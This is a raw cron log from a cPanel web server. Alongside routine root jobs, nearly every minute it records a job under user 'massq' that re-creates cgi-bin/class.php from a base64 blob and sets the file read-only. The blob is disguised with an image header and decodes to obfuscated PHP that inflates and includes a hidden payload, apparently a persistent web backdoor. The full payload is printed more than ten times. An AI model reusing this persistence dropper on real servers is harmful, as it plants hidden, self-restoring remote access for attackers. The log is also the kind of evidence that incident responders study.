Nov 12 07:45:01 server CROND[30725]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:45:01 server CROND[30726]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 07:46:01 server CROND[31830]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:47:01 server CROND[32646]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:48:01 server CROND[1064]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:49:01 server CROND[1992]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:50:01 server CROND[2843]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 07:50:01 server CROND[2845]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 07:50:01 server CROND[2846]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:50:01 server CROND[2848]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 07:50:01 server CROND[2847]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 07:51:01 server CROND[3719]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:52:01 server CROND[4524]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:53:02 server CROND[5279]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:54:01 server CROND[6234]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:55:01 server CROND[7055]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 07:55:01 server CROND[7056]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 07:55:01 server CROND[7059]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:56:01 server CROND[7920]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:57:01 server CROND[8748]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 07:57:01 server CROND[8749]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
